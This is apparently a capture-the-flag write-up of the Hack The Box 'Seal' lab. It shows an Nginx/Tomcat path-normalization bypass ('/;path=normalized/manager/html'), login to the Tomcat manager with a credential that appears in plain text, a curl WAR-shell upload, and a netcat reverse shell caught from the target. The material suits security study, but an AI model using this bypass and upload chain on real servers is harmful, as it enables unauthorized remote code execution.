Assessment


Up until now, just about the only progress that I made was confirming the password reuse of the luis user as the user had previously configured the authentication on the target Tomcat instance with his own password and left the commit out, which allowed me to see.

Although it appeared that the credential might be valid for the Tomcat instance proxied through Nginx over the port 443, I had no way of accessing the manager panel of the Tomcat instance at /manager/html as the Nginx proxy was configured with the mutual authentication set by the development team

I tried forging my own certificate using the openssl tool to be able to authenticate to the Nginx web server, but was unable to proceed forward. At that point, I had to look it up.

path normalization


Then I found out that the target environment is vulnerable to the Path Normalization attack

In the context of web applications, path normalization refers to the process of transforming and standardizing input paths or URLs to ensure consistent and safe handling by the server and application.

Path normalization is important for security reasons, as it can help prevent certain types of attacks such as path traversal attacks, in which an attacker tries to access files or directories outside of the intended directory hierarchy. By normalizing paths before processing them, an application can ensure that all paths are in a standardized format, and that any attempts to access files or directories outside of the intended hierarchy are detected and blocked.

In the target environment, Nginx is functioning as a reverse proxy over the port 443 to the Tomcat instance running on the localhost:8000 socket It is conditional in the sense that the client must be authenticated via the mutual authentication, $ssl_client_verify. Nginx then passes the request on to http://localhost:8000, which is where the Tomcat instance is running

This configuration is applied to other resources as well; /admin/dashboard and /host-manager/html

The issue or vulnerability is present in the way Tomcat parses user request for path normalization When Nginx is being used as a proxy to an internal Tomcat instance, /..;/ can be used to bypass such restriction set by Nginx because Nginx interpreters /..;/ as a valid directory, it passes it down to whatever application it had its proxy set up to.

Additionally, Tomcat seems to ignore everything after the ; sign until the next slash sign; /

It works with Apache as well.

In fact, there is a whole list of that

It affects many other applications.

Using the directory traversal technique shown above, I am able to access the Tomcat instance at /manager/html It would initially go to an arbitrary directory, /blahblah/, and go back to the parent directory, ..;

It prompts me for the basic HTTP authentication

I can also use the bypass technique as well. As discovered earlier, Tomcat seems to ignore everything after the ; sign until the next slash sign; / In this context, ;path-normarlized is basically canceled out and the Tomcat interpretates the request to //manager/html

I never have to worry about the mutual authentication as I am never sending a request to /manager/html directly, and the Nginx web server interpreates my requests as;path-normarlized/manager/html and passes on to the Tomcat instance, where it just cancels out the ;path-normarlized part, resulting //manager/html

I can also access the /admin directory using the techniques shown above

Authenticate


I can then just the credential to authenticate to the Tomcat manager application

Successfully authenticated and signed-in to the Tomcat manager panel Notice that the resource location is still set to /;path=normalized/manager/html

now that i have a valid tomcat credential with a manager role, i can get an easy rce via war file upload

RCE


┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ curl -u 'tomcat:42MrHBf*z8{Z%' -k --upload-file shell.war 'https://seal.htb/;path=normalized/manager/text/deploy?path=/rce&update=true'   
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <head>
  <title>403 Access Denied</title>
 </head>
 <body>
   <h1>403 Access Denied</h1>
   <p>
    You are not authorized to view this page.
   </p>
   <p>
    By default the Manager is only accessible from a browser running on the
    same machine as Tomcat. If you wish to modify this restriction, you'll need
    to edit the Manager's <tt>context.xml</tt> file.
   </p>
   
[...REDACTED...]

403..

403 again.

Attempting to upload the payload fails on both GUI and CLI

There is a very good reason why the Tomcat instances responses with a 403

That’s because the POST request had no session cookie. This is due to the way session token was handled likely caused by the path normalization technique used to access the Tomcat instance in the first place

As shown above, when I have accessed to the ;path=normalized/manager/html using the basic HTTP authentication, and the web server authorized my access and hand me out a session token. The important bits about the cookie is the following; Path=/manager;HttpOnly

  • The Path=/manager attribute tells the client that the cookie is valid only for requests made to the /manager path on the server
  • The HttpOnly attribute tells the client that the cookie should not be accessible via client-side script, which helps protect against certain types of cross-site scripting (XSS) attacks.

In return, my browser was unable to process and store it, resulting to upload the payload WITHOUT the session token as it had a prefix of the path normalization technique applied

So, I just need to manual append the session token when uploading the payload

Upload was successful

┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ curl -k 'https://seal.htb/shell/'

Triggering the payload

┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ nnc 443    
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.250] 43330
whoami
tomcat
hostname
seal
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.250  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:d927  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:d927  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:d9:27  txqueuelen 1000  (Ethernet)
        RX packets 1269  bytes 152088 (152.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1392  bytes 2329589 (2.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 688  bytes 2368400 (2.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 688  bytes 2368400 (2.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the tomcat user via WAR file upload

more info


https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html https://www.secjuice.com/breaking-parser-logic-gain-access-to-nginx-plus-api-read-write-upstreams/